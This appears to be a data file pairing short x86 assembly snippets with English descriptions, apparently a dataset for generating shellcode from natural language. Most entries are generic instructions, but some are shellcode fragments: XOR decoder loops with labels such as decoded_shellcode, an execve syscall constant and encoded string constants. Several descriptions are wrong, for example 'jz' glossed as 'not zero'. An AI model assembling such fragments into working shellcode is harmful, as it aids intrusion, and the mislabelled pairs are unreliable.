sub esp, byte 0x1 subtract the byte 0x1 from the contents of the esp register sub esp, byte 0x1 subtract the byte value 0x1 from esp register and save the result in esp sys_execve equ 0x0b define sys_execve equal to 0x0b syscall_execve equ 11 define syscall_execve equal to 11 test al, al test the value of the al register test al, al \n jz found \n inc ecx jump to the label found if the contents of the al register is zero else increment the contents of the ecx register test al, al \n jz found \n inc ecx if the contents of the al register is zero then jump to the label found else increment the contents of the ecx register test ax, ax perform a bitwise and of the contents of ax and the contents of ax test ax, ax \n jnz exeunt \n jmp carryon jump to the label exeunt if the contents of the ax register is not zero else jump to the label carryon test ax, ax \n jnz exeunt \n jmp carryon if the contents of the ax register is not zero then jump to the label exeunt else jump to the label carryon test bl, bl \n jz not_found jump to the label not_found if the contents of the bl register is not zero test bl, bl \n jz not_found if the contents of the bl register is not zero then jump to the label not_found test cl, cl test the value of cl test dl, 0x1 \n jnz ready_to_proxy jump to the label ready_to_proxy if the contents of the dl register is not zero test dl, 0x1 \n jnz ready_to_proxy if the contents of the dl register is not zero then jump to the label ready_to_proxy test eax, eax perform a bitwise and on the contents of the eax register test eax, eax test the value of eax test eax, eax \n jnz _convert jump to the label _convert if the contents of the eax register is not zero test eax, eax \n jnz _convert if the contents of the eax register is not zero then jump to the label _convert test eax, eax \n jnz _parent \n pop ecx jump to the label _parent if the contents of the eax register is not zero else restore the top of the stack into the ecx register test eax, eax \n jnz _parent \n pop ecx if the contents of the eax register is not zero then jump to the label _parent else restore the top of the stack into the ecx register test eax, eax \n jnz _recv_http_request \n sub ecx, 0x6 jump to the label _recv_http_request if the contents of the eax register is not zero else subtract the value 0x6 from the contents of the ecx register test eax, eax \n jnz _recv_http_request \n sub ecx, 0x6 if the contents of the eax register is not zero then jump to the label _recv_http_request else subtract the value 0x6 from the contents of the ecx register test eax, eax \n jnz checkforfile jump to the label checkforfile if the contents of the eax register is not zero test eax, eax \n jnz checkforfile if the contents of the eax register is not zero then jump to the label checkforfile test eax, eax \n jnz do_next_accept jump to the label do_next_accept if the contents of the eax register is not zero test eax, eax \n jnz do_next_accept if the contents of the eax register is not zero then jump to the label do_next_accept test eax, eax \n jnz exit_on_error jump to the label exit_on_error if the contents of the eax register is not zero test eax, eax \n jnz exit_on_error if the contents of the eax register is not zero then jump to the label exit_on_error test eax, eax \n jnz l1 jump to the label l1 if the contents of the eax register is not zero test eax, eax \n jnz l1 if the contents of the eax register is not zero then jump to the label l1 test eax, eax \n jnz l1 \n call myfunct jump to the label l1 if the contents of the eax register is not zero else call the function myfunct test eax, eax \n jnz l1 \n call myfunct if the contents of the eax register is not zero then jump to the label l1 else call the function myfunct test eax, eax \n jnz l4 \n call search jump to the label l4 if the contents of the eax register is not zero else call the function search test eax, eax \n jnz l4 \n call search if the contents of the eax register is not zero then jump to the label l4 else call the function search test eax, eax \n jnz short _parent jump short to the label _parent if the contents of the eax register is not zero test eax, eax \n jnz short _parent if the contents of the eax register is not zero then jump short to the label _parent test eax, eax \n js _while_loop jump to the label _while_loop if the contents of the eax register is negative test eax, eax \n js _while_loop if the contents of the eax register is negative then jump to the label _while_loop test eax, eax \n js close jump to the label close if the contents of the eax register is negative test eax, eax \n js close if the contents of the eax register is negative then jump to the label close test eax, eax \n js old_dirent jump to the label old_dirent if the contents of the eax register is negative test eax, eax \n js old_dirent if the contents of the eax register is negative then jump to the label old_dirent test eax, eax \n js short socket jump short to the label socket if the contents of the eax register is negative test eax, eax \n js short socket if the contents of the eax register is negative then jump short to the label socket test eax, eax \n jz check_html jump to the label check_html if the contents of the eax register is zero test eax, eax \n jz check_html if the contents of the eax register is zero then jump to the label check_html test eax, eax \n jz check_html \n jmp while jump to the label check_html if the contents of the eax register is zero else jump to the while label test eax, eax \n jz check_html \n jmp while if the contents of the eax register is zero then jump to the label check_html else jump to the while label test eax, eax \n jz close jump to the label close if the contents of the eax register is zero test eax, eax \n jz close if the contents of the eax register is zero then jump to the label close test eax, eax \n jz close \n mov ebx, edx jump to the label close if the contents of the eax register is zero else move the contents of the edx register into the ebx register test eax, eax \n jz close \n mov ebx, edx if the contents of the eax register is zero then jump to the label close else move the contents of the edx register into the ebx register test eax, eax \n jz proc_name jump to the label proc_name if the contents of the eax register is zero test eax, eax \n jz proc_name if the contents of the eax register is zero then jump to the label proc_name test eax, eax \n jz ready_to_proxy jump to the label ready_to_proxy if the contents of the eax register is zero test eax, eax \n jz ready_to_proxy if the contents of the eax register is zero then jump to the label ready_to_proxy test eax, eax \n jz short loc_402B13 jump short to the memory location loc_402B13 if the contents of the eax register is zero test eax, eax \n jz short loc_402B13 if the contents of the eax register is zero then jump short to the memory location loc_402B13 test eax, eax \n jz short loc_402C13 jump short to the memory location loc_402C13 if the contents of the eax register is zero test eax, eax \n jz short loc_402C13 if the contents of the eax register is zero then jump short to the memory location loc_402C13 test eax, eax \n jz socket jump to the label socket if the contents of the eax register is zero test eax, eax \n jz socket if the contents of the eax register is zero then jump to the label socket test eax, eax \n jz socket \n xor eax, eax jump to the label socket if the contents of the eax register is zero else zero out the contents of the eax register test eax, eax \n jz socket \n xor eax, eax if the contents of the eax register is zero then jump to the label socket else zero out the contents of the eax register test eax, eax \n jz write \n xor eax, eax jump to the label write if the contents of the eax register is zero, else zero out the contents of the eax register test eax, eax \n jz write \n xor eax, eax if the contents of the eax register is zero then jump to the label write else zero out the contents of the eax register test ebx, ebx test the contents of the ebx register test ebx, ebx \n js short l1 jump short to the label l1 if the contents of the ebx register is negative test ecx, ecx test the contents of the ecx register test edx, edx test the contents of the edx register test si, 01h perform and operation between si and 01h three: declare the three label todo: declare the todo label total_students equ 50 define constant total_students equal to 50 two: declare the two label two: define two label up: declare the up label var db 32 declare var byte variable and initialize it to 32 var db 64 declare a byte containing the value 64 at label the memory location var var_a db 232 allocate one byte of memory for var_a variable and initialize it to 232 var_a: dd 0x0 create the doubleword variable var_a in memory and initialize it to zero var_b db 'c' allocate one byte of memory for var_b variable and initialize it to 'c' var2 db ? declare an uninitialized byte labeled var2 var2 db ? declare an uninitialized byte referred to as location var2 variablename1: resb 1 reserve 1 byte for variableName1 variablename2: resw 1 reserve 1 word for variableName2 variablename3: resd 1 reserve 1 double word for variableName3 word_table dw 134, 345, 564, 123 declare the array of words word_table initialized to 134 345 564 and 123 word_value dw 300 define the word value word_value and initialize it to 300 word1 word 65535 define word1 unsigned word and initialize it to 65535 word2 sword –32768 define word2 signed word and initialize it to -32768 word3 word ? define word3 uninitialized unsigned word wordvar: resw 1 reserve a word for wordvar wrap_around: declare the wrap_around label write_syscall equ 4 define write_syscall equal to 4 write: declare the write label writestring: declare the writestring label writestring: define writestring function x dw ? declare a word uninitialized value referred to as location x x dw ? declare an uninitialized word labeled x xchg [ebp+16], ecx swap the address [ebp+16] with the contents of the ecx register xchg [ebp+16], ecx swap the contents in ebp+16 and ecx xchg eax, ebx exchange eax with ebx xchg eax, ebx swap the contents of eax and ebx xchg eax, ebx swap the contents of the eax register with the contents of the ebx register xchg eax, ecx swap the contents of the eax register with the contents of the ecx register xchg eax, edx swap the contents of the eax register with the contents of the edx register xchg eax, esi swap the contents of eax and esi xchg eax, esi swap the contents of the eax register with the contents of the esi register xchg ebx, eax exchange the contents of the ebx register with the contents of the eax register xchg ebx, eax swap the contents of the ebx register with the contents of the eax register xchg ebx, eax swap the values of ebx and eax xchg ebx, eax swap the values of ebx and eax registers xchg ebx, ecx exchange ebx with ecx xchg ebx, edx swap the contents of the ebx register with the contents of the edx register xchg ebx, esp swap the contents of the ebx register with the contents of the esp register xchg ebx, esp swap the values of ebx and esp registers xchg ecx, edx exchange ecx with edx xchg ecx, edx swap the contents of the ecx register with the contents of the edx register xchg edi, eax swap the contents of the edi register with the contents of the eax register xchg edi, eax swap the values of edi and eax registers xchg edx, eax exchange edx with eax xchg edx, eax swap the values of edx and eax registers xchg edx, ebx swap the values of edx and ebx registers xchg esi, eax swap the contents of the esi register with the contents of the eax register xchg esi, eax swap the values of esi and eax xchg esi, ebx swap the values of esi and ebx xchg esp, esi swap the values of esp and esi registers xchg si, bx swap the values si ebx and bx registers xor [ebx], word __flag_byte perform xor operation between ebx register and the word __flag_byte and save the result in ebx xor [ecx + 116], bh perform a logical xor between the address speicified by [ecx + 116] and the bh register and save the result in [ecx + 116] xor [ecx + 116], bh perform xor operation between the value stored at the location ecx+116 and bh xor [ecx + 116], dh perform a logical xor between the address speicified by [ecx + 116] and the dh register and save the result in [ecx + 116] xor [ecx + 116], dh perform xor operation between the value stored at the location ecx+116 and dh xor [ecx], bh perform the xor operation between the value stored at the location ecx and bh xor [ecx], dh perform the xor operation between the value stored at the location ecx and dh xor ah, ah clear the ah register xor ah, ah zero out ah register xor al, 0e9h perform a logical xor between the al register and 0e9h and save the result in al xor al, 0x30 perform the xor operation between the al register and the value 0x30 xor al, 0x41 perform the xor operation between the al register and the value 0x41 xor al, 0x4a perform the xor operation between the al register and the value 0x4a xor ax, 0x3041 perform the xor operation between the ax register and the value 0x3041 xor ax, 0x4f73 perform the xor operation between the ax register and the value 0x4f73 xor ax, 0x539 perform a xor operation between ax and 0x539 and save the result in ax xor ax, 0x539 \n jz decoded_shellcode jump to the decoded_shellcode label if the result of the logical xor between the ax register and the value 0x539 is zero xor ax, 0x7777 perform the xor operation between the contents of the ax register and the value 0x7777 xor ax, ax clear the ax register xor ax, ax zero out ax register xor ax, bx perform a logical xor between the bx register and the ax register and save the result in ax xor ax, bx \n jz call_decoded jump to the call_decoded label if the result of the logical xor between the ax register and the bx register is zero xor bl, 0xbb perform a logical xor between the bl register and 0xbb and save the result in bl xor bl, 0xbb zero out bl register xor bl, 0xBB \n jz encoded jump to the encoded label if the result of the logical xor between the bl register and the value 0xBB is zero xor bl, 0xBB \n jz formatting jump to the formatting label if the result of the logical xor between the bl register and the value 0xBB is zero xor bx, bx initialize bx to 0 xor bx, bx clear the bx register xor bx,bx zero out bx register xor byte [esi + ecx - 1], 0x3 perform a logical xor between the byte at the address speicified by [esi + ecx - 1] and the bh register and save the result in [esi + ecx - 1] xor byte [esi], 0x2c perform the xor operation between the byte starting at the addess in esi and the value 0x2c xor byte [esi], cl perform a logical xor between the byte at the address specified by [esi] and the cl register and save the result in [esi] xor byte [esi], cl perform a xor operation between a byte in esi and cl xor byte [esi+ecx],0x0f perform the xor operation between the byte at memory location esi+ecx and 0x0f xor cl, 0x32 perform the xor operation between cl and 0x32 and store the resut in cl xor cl, 0x32 \n jz short EncodedShellcode jump short to the EncodedShellcode label if the result of the logical xor between the cl register and the value 0x32 is zero xor cl, 0xaa perform a logical xor between the cl register and 0xaa and save the result in cl xor cl, 0xaa perform the xor operation between cl and 0xaa and store the result in cl xor cl, 0xAA \n jnz Next_Cycle jump to the Next_Cycle label if the result of the logical xor between the cl register and the value 0xAA is not zero xor cl, 0XAA \n jz shift_decode jump to the shift_decode label if the result of the logical xor between the cl register and the value 0xAA is zero xor dl, 0xbb perform a logical xor between the dl register and 0xbb and save the result in dl xor dl, 0xbb perform the xor operation between dl and 0xbb and store the result in dl xor dl, 0xBB \n jz Next_Cycle jump to the Next_Cycle label if the result of the logical xor between the dl register and the value 0xBB is zero xor eax, [edi] perform the xor operation between eax register and edi register and store the result in eax xor eax, [esi] perform xor operation between eax register and esi register and store the result in eax xor eax, 0x58494741 perform a logical xor between the eax register and 0x58494741 and save the result in eax xor eax, 0x58494741 perform the xor operation between eax and 0x58494741 value and store the result in eax xor eax, 0x6e696230 perform the xor operation between the eax register and the value 0x6e696230 xor eax, 0x7575 perform a logical xor operation between eax and 0x7575 xor eax, 0xffffffff perform a logical xor between the eax register and 0xffffffff and save the result in eax xor eax, eax initialize eax with decimal value 0 xor eax, eax clear the eax register xor eax, eax init eax 0 xor eax, eax perform xor operation between eax and eax xor eax, eax reset both lower and uppper bytes of eax to be 0 xor eax, eax reset eax xor eax, eax set eax to 0 xor eax, eax set the eax register to null xor eax, eax zero out eax xor eax, eax zero out the eax register xor eax, eax \n cmp edx, eax \n je l3 zero out the eax register and jump to the l3 label if the contents of the edx register is equal to the contents of the eax register xor eax, eax \n cmp edx, eax \n jne l3 zero out the eax register and jump to the l3 label if the contents of the edx register is not equal to the contents of the eax register xor eax, eax \n push eax zero out the eax register and push zero onto the stack xor eax, eax \n push eax push zero onto the stack xor eax, eax \n push eax clear the eax register and push its contents onto the stack xor eax, ebx perform a logical xor between the eax register and the ebx register and save the result in eax xor eax, ebx perform xor operation between eax register and ebx register and store the result in eax xor eax, edi perform a logical xor between the eax register and the edi register and save the result in eax xor eax, esi perform a logical xor between the eax register and the esi register and save the result in eax xor ebp, ebp clear ebp register xor ebx, ebp perform a logical xor between the ebx register and the ebp register and save the result in ebx xor ebx, ebx initialize ebx with 0 xor ebx, ebx clear ebx xor ebx, ebx clear ebx register xor ebx, ebx clear the ebx register xor ebx, ebx init ebx 0 xor ebx, ebx reset both lower and uppper bytes of ebx to be 0 xor ebx, ebx reset ebx to 0 xor ebx, ebx set the ebx register to null xor ebx, ebx zero out ebx xor ebx, ebx zero out the ebx register xor ebx, ebx \n cmp eax, ebx \n je exit zero out the ebx register and jump to the exit label if the contents of the eax register is equal to the contents of the ebx register xor ebx, ebx \n cmp eax, ebx \n jne exit zero out the ebx register and jump to the exit label if the contents of the eax register is not equal to the contents of the ebx register xor ebx, ebx \n mul ebx zero out the eax and ebx register xor ebx, ebx \n mul ebx zero out the eax register and the ebx register xor ebx, ebx \n push ebx zero out the ebx register and push zero onto the stack xor ebx, ebx \n push ebx push zero onto the stack xor ebx, ebx \n push ebx clear the ebx register and push its contents onto the stack xor ebx, word __flag_byte perform a logical xor between the ebx register and the word __flag_byte and save the result in ebx xor ecx, bh perform a logical xor between the ecx register and the bh register and save the result in ecx xor ecx, dh perform a logical xor between the ecx register and the dh register and save the result in ecx xor ecx, ecx initialize ecx to zero xor ecx, ecx initialize ecx with decimal value 0 xor ecx, ecx clear ecx xor ecx, ecx clear ecx register xor ecx, ecx clear the ecx register xor ecx, ecx reset both lower and uppper bytes of ecx to be 0 xor ecx, ecx reset ecx to 0 xor ecx, ecx set the ecx register to null xor ecx, ecx zero out ecx xor ecx, ecx zero out the ecx register xor ecx, ecx \n cmp ebx, ecx \n je l1 zero out the ecx register and jump to the l1 label if the contents of the ebx register is equal to the contents of the ecx register xor ecx, ecx \n cmp ebx, ecx \n jne l1 zero out the ecx register and jump to the l1 label if the contents of the ebx register is not equal to the contents of the ecx register xor ecx, ecx \n mul ecx zero out eax and ecx xor ecx, ecx \n mul ecx zero out the eax register and the ecx register xor ecx, ecx \n push ecx zero out the ecx register and push zero onto the stack xor ecx, ecx \n push ecx push zero onto the stack xor ecx, ecx \n push ecx clear the ecx register and push its contents onto the stack xor edi, edi initialize edi with 0 xor edi, edi clear the edi register xor edi, edi init edi 0 xor edx, edx initialize edx with the decimal value 0 xor edx, edx initialize edx with the hexadecimal value 0x0 xor edx, edx clear edx xor edx, edx clear edx register xor edx, edx clear the edx register xor edx, edx reset edx to 0 xor edx, edx set the contents of edx to zero xor edx, edx set the edx register to null xor edx, edx zero out edx xor edx, edx zero out the edx register xor edx, edx \n cmp ecx, edx \n je l2 zero out the edx register and jump to the l2 label if the contents of the ecx register is equal to the contents of the edx register xor edx, edx \n cmp ecx, edx \n jne l2 zero out the edx register and jump to the l2 label if the contents of the ecx register is not equal to the contents of the edx register xor edx, edx \n mul edx zero out eax and edx xor edx, edx \n mul edx zero out the eax and edx register xor edx, edx \n push edx zero out the edx register and push zero onto the stack xor edx, edx \n push edx push zero onto the stack xor edx, edx \n push edx clear the edx register and push its contents onto the stack xor esi, esi initialize the esi register with the decimal value 0 xor esi, esi clear the esi register xor esi, esi init the esi register to 0 xor zero_reg, zero_reg clear zero_reg xor zero_reg, zero_reg zero out zero_reg y dd 3000 declare a doubleword at address y initialized to contain 3000 y: dd 0x0 create the doubleword variable y in memory and initialize it to zero ymmval: resw 1 reserve one word for ymmval z dd 1, 2, 3 declare three doubleword values initialized to 1 2 and 3 at address z z dd 1,2,3 declare three doublewords of memory starting at address z and initialized to 1 2 and 3 z: dd 0x0 create the doubleword variable z in memory and initialize it to zero